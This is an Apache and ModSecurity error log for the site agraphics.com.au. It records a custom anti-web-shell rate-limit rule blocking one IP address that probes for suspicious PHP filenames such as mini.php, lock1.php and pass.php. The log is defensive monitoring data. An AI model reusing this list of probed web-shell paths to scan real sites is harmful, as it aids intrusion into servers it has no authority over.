[Thu Nov 20 16:16:49.743227 2025] [:error] [pid 34405:tid 34414] [client 20.27.30.201:4083] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aR7OcTFpvu8oRK7ATfv7owAAAQc"]
[Thu Nov 20 16:16:50.959906 2025] [:error] [pid 55343:tid 55417] [client 20.27.30.201:3950] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aR7OclWlO3EnyVMV7w6XiQAAAJI"]
[Thu Nov 20 16:16:53.142526 2025] [:error] [pid 40508:tid 40512] [client 20.27.30.201:3847] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aR7OdaxXNVCMW_ksxPtxgAAAAoI"]
[Thu Nov 20 16:16:54.232250 2025] [:error] [pid 40508:tid 40511] [client 20.27.30.201:4089] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aR7OdqxXNVCMW_ksxPtxgwAAAoE"]
[Thu Nov 20 16:16:55.047034 2025] [:error] [pid 40537:tid 40555] [client 20.27.30.201:3546] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aR7Od6KlsL5kxTa3c1zJ8gAAAs4"]
[Thu Nov 20 16:16:57.055233 2025] [:error] [pid 55340:tid 55351] [client 20.27.30.201:3860] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-freya.php"] [unique_id "aR7OefOxD-NeMydTybCCQQAAAAY"]
[Thu Nov 20 16:16:57.952568 2025] [:error] [pid 55430:tid 55456] [client 20.27.30.201:3885] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aR7OefPZXaIMEU4pE7vlSgAAANc"]
[Thu Nov 20 16:16:59.112474 2025] [:error] [pid 55340:tid 55365] [client 20.27.30.201:4071] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aR7Oe_OxD-NeMydTybCCQwAAABQ"]
[Thu Nov 20 16:16:59.556972 2025] [:error] [pid 40537:tid 40565] [client 20.27.30.201:3936] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aR7Oe6KlsL5kxTa3c1zJ8wAAAtg"]
[Thu Nov 20 16:16:59.942329 2025] [:error] [pid 40445:tid 40477] [client 20.27.30.201:4065] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hello.php"] [unique_id "aR7Oe1H-MuFcoWRjXpYuegAAAkI"]
[Thu Nov 20 16:17:00.591314 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:4074] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aR7OfAK8BWUoW3xq0HD0NAAAA40"]
[Thu Nov 20 16:17:02.365688 2025] [:error] [pid 40636:tid 40646] [client 20.27.30.201:4051] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aR7OfgK8BWUoW3xq0HD0OwAAA4Y"]
[Thu Nov 20 16:17:03.312134 2025] [:error] [pid 55343:tid 55404] [client 20.27.30.201:3527] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aR7Of1WlO3EnyVMV7w6XiwAAAIU"]
[Thu Nov 20 16:17:04.731314 2025] [:error] [pid 40445:tid 40493] [client 20.27.30.201:4061] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ex.php"] [unique_id "aR7OgFH-MuFcoWRjXpYufAAAAlI"]
[Thu Nov 20 16:17:07.610911 2025] [:error] [pid 55342:tid 55372] [client 20.27.30.201:3974] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock1.php"] [unique_id "aR7Og7g6x32Tvk7fIG-9hAAAAEA"]
[Thu Nov 20 16:17:09.432642 2025] [:error] [pid 40508:tid 40524] [client 20.27.30.201:3901] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock1.php"] [unique_id "aR7OhaxXNVCMW_ksxPtxigAAAo4"]
[Thu Nov 20 16:17:11.381686 2025] [:error] [pid 34405:tid 34421] [client 20.27.30.201:4048] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock1.php"] [unique_id "aR7OhzFpvu8oRK7ATfv7qQAAAQ4"]
[Thu Nov 20 16:17:13.428575 2025] [:error] [pid 40508:tid 40529] [client 20.27.30.201:3977] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lock1.php"] [unique_id "aR7OiaxXNVCMW_ksxPtxkAAAApM"]
[Thu Nov 20 16:17:14.187829 2025] [:error] [pid 40445:tid 40497] [client 20.27.30.201:3541] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aR7OilH-MuFcoWRjXpYugQAAAlY"]
[Thu Nov 20 16:17:14.794442 2025] [:error] [pid 40508:tid 40516] [client 20.27.30.201:3851] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aR7OiqxXNVCMW_ksxPtxkwAAAoY"]
[Thu Nov 20 16:17:15.470392 2025] [:error] [pid 40508:tid 40519] [client 20.27.30.201:3976] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aR7Oi6xXNVCMW_ksxPtxlAAAAok"]
[Thu Nov 20 16:17:17.016791 2025] [:error] [pid 40445:tid 40499] [client 20.27.30.201:3533] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/mini.php"] [unique_id "aR7OjVH-MuFcoWRjXpYuhQAAAlg"]
[Thu Nov 20 16:17:17.324867 2025] [:error] [pid 40508:tid 40514] [client 20.27.30.201:4017] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ups.php"] [unique_id "aR7OjaxXNVCMW_ksxPtxlgAAAoQ"]
[Thu Nov 20 16:17:18.140602 2025] [:error] [pid 34405:tid 34409] [client 20.27.30.201:3940] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ups.php"] [unique_id "aR7OjjFpvu8oRK7ATfv7rwAAAQI"]
[Thu Nov 20 16:17:19.391496 2025] [:error] [pid 55340:tid 55361] [client 20.27.30.201:3876] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ups.php"] [unique_id "aR7Oj_OxD-NeMydTybCCTgAAABA"]
[Thu Nov 20 16:17:20.943089 2025] [:error] [pid 34405:tid 34429] [client 20.27.30.201:3864] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ups.php"] [unique_id "aR7OkDFpvu8oRK7ATfv7sQAAARY"]
[Thu Nov 20 16:17:21.350332 2025] [:error] [pid 40537:tid 40563] [client 20.27.30.201:3930] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aR7OkaKlsL5kxTa3c1zJ9gAAAtY"]
[Thu Nov 20 16:17:23.105395 2025] [:error] [pid 55430:tid 55441] [client 20.27.30.201:4028] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aR7Ok_PZXaIMEU4pE7vlWAAAAMg"]
[Thu Nov 20 16:17:23.947702 2025] [:error] [pid 55430:tid 55446] [client 20.27.30.201:4086] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aR7Ok_PZXaIMEU4pE7vlWgAAAM0"]
[Thu Nov 20 16:17:24.926481 2025] [:error] [pid 40537:tid 40545] [client 20.27.30.201:4012] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bes.php"] [unique_id "aR7OlKKlsL5kxTa3c1zJ9wAAAsQ"]
[Thu Nov 20 16:17:25.585836 2025] [:error] [pid 40415:tid 40424] [client 20.27.30.201:3982] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-swa.php"] [unique_id "aR7OlahjIyLSv09svwOFEAAAAcY"]
[Thu Nov 20 16:17:26.855449 2025] [:error] [pid 40508:tid 40527] [client 20.27.30.201:4063] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-swa.php"] [unique_id "aR7OlqxXNVCMW_ksxPtxmwAAApE"]
[Thu Nov 20 16:17:27.893952 2025] [:error] [pid 40537:tid 40558] [client 20.27.30.201:3978] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-swa.php"] [unique_id "aR7Ol6KlsL5kxTa3c1zJ-wAAAtE"]
[Thu Nov 20 16:17:28.589533 2025] [:error] [pid 55342:tid 55379] [client 20.27.30.201:4035] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-swa.php"] [unique_id "aR7OmLg6x32Tvk7fIG-9kwAAAEc"]
[Thu Nov 20 16:17:29.236921 2025] [:error] [pid 40508:tid 40523] [client 20.27.30.201:3523] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/42u.php"] [unique_id "aR7OmaxXNVCMW_ksxPtxnAAAAo0"]
[Thu Nov 20 16:17:29.641500 2025] [:error] [pid 40508:tid 40533] [client 20.27.30.201:3920] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/42u.php"] [unique_id "aR7OmaxXNVCMW_ksxPtxnQAAApc"]
[Thu Nov 20 16:17:30.006581 2025] [:error] [pid 55342:tid 55375] [client 20.27.30.201:3786] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/42u.php"] [unique_id "aR7Omrg6x32Tvk7fIG-9lQAAAEM"]
[Thu Nov 20 16:17:30.590236 2025] [:error] [pid 40537:tid 40549] [client 20.27.30.201:4075] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/42u.php"] [unique_id "aR7OmqKlsL5kxTa3c1zJ_AAAAsg"]
[Thu Nov 20 16:17:31.252848 2025] [:error] [pid 40537:tid 40562] [client 20.27.30.201:3908] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aR7Om6KlsL5kxTa3c1zJ_gAAAtU"]
[Thu Nov 20 16:17:32.307947 2025] [:error] [pid 55342:tid 55387] [client 20.27.30.201:4065] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aR7OnLg6x32Tvk7fIG-9lgAAAE8"]
[Thu Nov 20 16:17:33.074353 2025] [:error] [pid 34405:tid 34422] [client 20.27.30.201:4039] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aR7OnTFpvu8oRK7ATfv7tgAAAQ8"]
[Thu Nov 20 16:17:33.737259 2025] [:error] [pid 40508:tid 40510] [client 20.27.30.201:3981] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lc.php"] [unique_id "aR7OnaxXNVCMW_ksxPtxpgAAAoA"]
[Thu Nov 20 16:17:34.469748 2025] [:error] [pid 40415:tid 40434] [client 20.27.30.201:4005] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aR7OnqhjIyLSv09svwOFEwAAAdA"]
[Thu Nov 20 16:17:34.840007 2025] [:error] [pid 55342:tid 55390] [client 20.27.30.201:3973] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aR7Onrg6x32Tvk7fIG-9mQAAAFI"]
[Thu Nov 20 16:17:35.342745 2025] [:error] [pid 40508:tid 40523] [client 20.27.30.201:4082] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aR7On6xXNVCMW_ksxPtxqgAAAo0"]
[Thu Nov 20 16:17:35.939794 2025] [:error] [pid 40445:tid 40492] [client 20.27.30.201:4064] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gmo.php"] [unique_id "aR7On1H-MuFcoWRjXpYuigAAAlE"]
[Thu Nov 20 16:17:36.737604 2025] [:error] [pid 40636:tid 40653] [client 20.27.30.201:4019] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CLA.php"] [unique_id "aR7OoAK8BWUoW3xq0HD0QgAAA40"]
[Thu Nov 20 16:17:37.232583 2025] [:error] [pid 55342:tid 55373] [client 20.27.30.201:4084] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CLA.php"] [unique_id "aR7Oobg6x32Tvk7fIG-9ngAAAEE"]
[Thu Nov 20 16:17:38.215240 2025] [:error] [pid 40537:tid 40555] [client 20.27.30.201:4050] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/CLA.php"] [unique_id "aR7OoqKlsL5kxTa3c1zKAwAAAs4"]
[Thu Nov 20 16:17:40.093123 2025] [proxy_fcgi:error] [pid 40415:tid 40436] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:40.241879 2025] [proxy_fcgi:error] [pid 40415:tid 40428] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:40.490792 2025] [proxy_fcgi:error] [pid 40415:tid 40427] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:40.610256 2025] [proxy_fcgi:error] [pid 40415:tid 40438] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:40.762760 2025] [proxy_fcgi:error] [pid 40415:tid 40439] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:40.891691 2025] [proxy_fcgi:error] [pid 40415:tid 40426] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.211042 2025] [proxy_fcgi:error] [pid 40415:tid 40437] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.329395 2025] [proxy_fcgi:error] [pid 40415:tid 40420] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.467898 2025] [proxy_fcgi:error] [pid 40415:tid 40423] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.587818 2025] [proxy_fcgi:error] [pid 40415:tid 40442] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.703827 2025] [proxy_fcgi:error] [pid 40415:tid 40430] [client 20.27.30.201:3975] AH01071: Got error 'Primary script unknown'
[Thu Nov 20 16:17:41.855061 2025] [:error] [pid 40415:tid 40436] [client 20.27.30.201:3975] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aR7OpahjIyLSv09svwOFMAAAAdI"]
[Thu Nov 20 16:17:43.262135 2025] [:error] [pid 40636:tid 40661] [client 20.27.30.201:3521] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aR7OpwK8BWUoW3xq0HD0UAAAA5U"]
[Thu Nov 20 16:17:44.239770 2025] [:error] [pid 40636:tid 40658] [client 20.27.30.201:4033] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aR7OqAK8BWUoW3xq0HD0UgAAA5I"]
[Thu Nov 20 16:17:45.311917 2025] [:error] [pid 40415:tid 40439] [client 20.27.30.201:3997] [client 20.27.30.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pass.php"] [unique_id "aR7OqahjIyLSv09svwOFNAAAAdU"]
